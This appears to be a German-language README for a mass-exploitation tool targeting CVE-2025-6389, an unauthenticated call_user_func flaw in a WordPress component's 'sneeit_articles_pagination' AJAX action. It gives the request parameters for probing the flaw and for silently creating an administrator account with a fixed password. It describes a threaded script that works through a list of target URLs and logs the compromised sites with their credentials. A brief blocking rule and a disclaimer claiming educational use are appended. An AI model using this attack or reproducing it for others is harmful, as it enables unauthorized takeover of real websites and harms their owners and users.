// Registriert ohne Authentifizierungsprüfung
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← Vom Benutzer gesteuerter Funktionsname
    $args     = json_decode(stripslashes($_POST['args']), true); // ← Vom Benutzer gesteuerte Argumente

    // Aufruf BELIEBIGER PHP-Funktion mit BELIEBIGEN Argumenten – keinerlei Validierung
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Schritt 1 – Sondierung / Fingerabdruck
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Erwartete Antwort → array(1) { [0]=> string(4) "test" }
  ↓
Bestätigt: call_user_func() ist erreichbar und gibt Ausgabe zurück

──────────────────────────────────────────────────────────────────
Schritt 2 – Erstellung eines Administratorkontos
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Ergebnis → Neues Administratorkonto stillschweigend auf dem Ziel erstellt
  ↓
Vollständiger WordPress-Admin-Panel-Zugriff erreicht ✔️

pip install requests rich

CVE-2025-6389/
├── CVE-2025-6389.py          # Haupt-Exploit-Skript
├── list.txt                  # Ziel-URLs – eine pro Zeile
├── success_results.txt       # Automatisch generiert: erfolgreiche Ziele + Anmeldedaten
└── debug_responses/          # Automatisch generiert: rohe Serverantworten zum Debuggen
    └── <target>.resp.txt

https://target1.com
https://target2.com
http://target3.com

python CVE-2025-6389.py

Name der Zieldatei (Standard list.txt): list.txt
Anzahl der Threads (Standard 10):       20

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Info                        │  Statistiken                          │
│  Verwendung: Ziele in...    │  Gesamtziele:  150                 │
│  Threads: 20                 │  Verarbeitet:      87                  │
│  Passwort: xplpass           │  Erfolge:      12                  │
│  Erfolgsprotokoll: success... │  Fehlschläge:       75                  │
│  Debug-Verzeichnis: debug_responses  │  Verstrichene Zeit:        00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Aktuelle Ergebnisse                                                      │
│  Zeit     Ziel                              Ergebnis                 │
│  14:23:01 https://victim.com                  ERFOLG               │
│  14:23:03 https://example.net                 FEHLGESCHLAGEN                  │
└─────────────────────────────────────────────────────────────────────┘

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

debug_responses/
└── https___victim.com.resp.txt   ← Rohe Serverantwort zur Analyse

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALARM

DIESES WERKZEUG WIRD AUSSCHLIESSLICH ZU BILDUNGSZWECKEN, FÜR AUTORISIERTE
PENETRATIONSTESTS UND SICHERHEITSFORSCHUNG ZUR VERFÜGUNG GESTELLT.

Durch das Herunterladen, Ausführen oder Ändern dieses Skripts stimmen Sie
ausdrücklich Folgendem zu:

  • Sie haben die AUSDRÜCKLICHE, SCHRIFTLICHE Genehmigung des Inhabers jedes
    von Ihnen getesteten Systems. Keine Ausnahmen.

  • Sie arbeiten in einer kontrollierten Laborumgebung oder im Rahmen eines
    formell abgegrenzten und autorisierten Auftrags.

  • Sie werden dieses Werkzeug NICHT gegen ein System, Netzwerk oder eine
    Infrastruktur einsetzen, für deren Test Sie keine rechtliche Genehmigung haben.

  • Nxploited und alle Mitwirkenden übernehmen KEINERLEI Haftung für
    unbefugte Nutzung, Schäden, Datenverlust, rechtliche Schritte oder
    strafrechtliche Verfolgung, die aus der Nutzung dieses Werkzeugs entstehen.

Die unbefugte Nutzung dieses Exploits ist eine Straftat gemäß:
  – Computer Fraud and Abuse Act (CFAA), USA
  – Computer Misuse Act (CMA), Großbritannien
  – EU-Richtlinie 2013/40/EU über Angriffe auf Informationssysteme
  – Und allen gleichwertigen nationalen und internationalen Cyberstrafgesetzen.

VERWENDEN SIE ES VERANTWORTUNGSVOLL. HACKEN SIE ETHISCH. MELDEN SIE
SCHWACHSTELLEN VERANTWORTUNGSVOLL.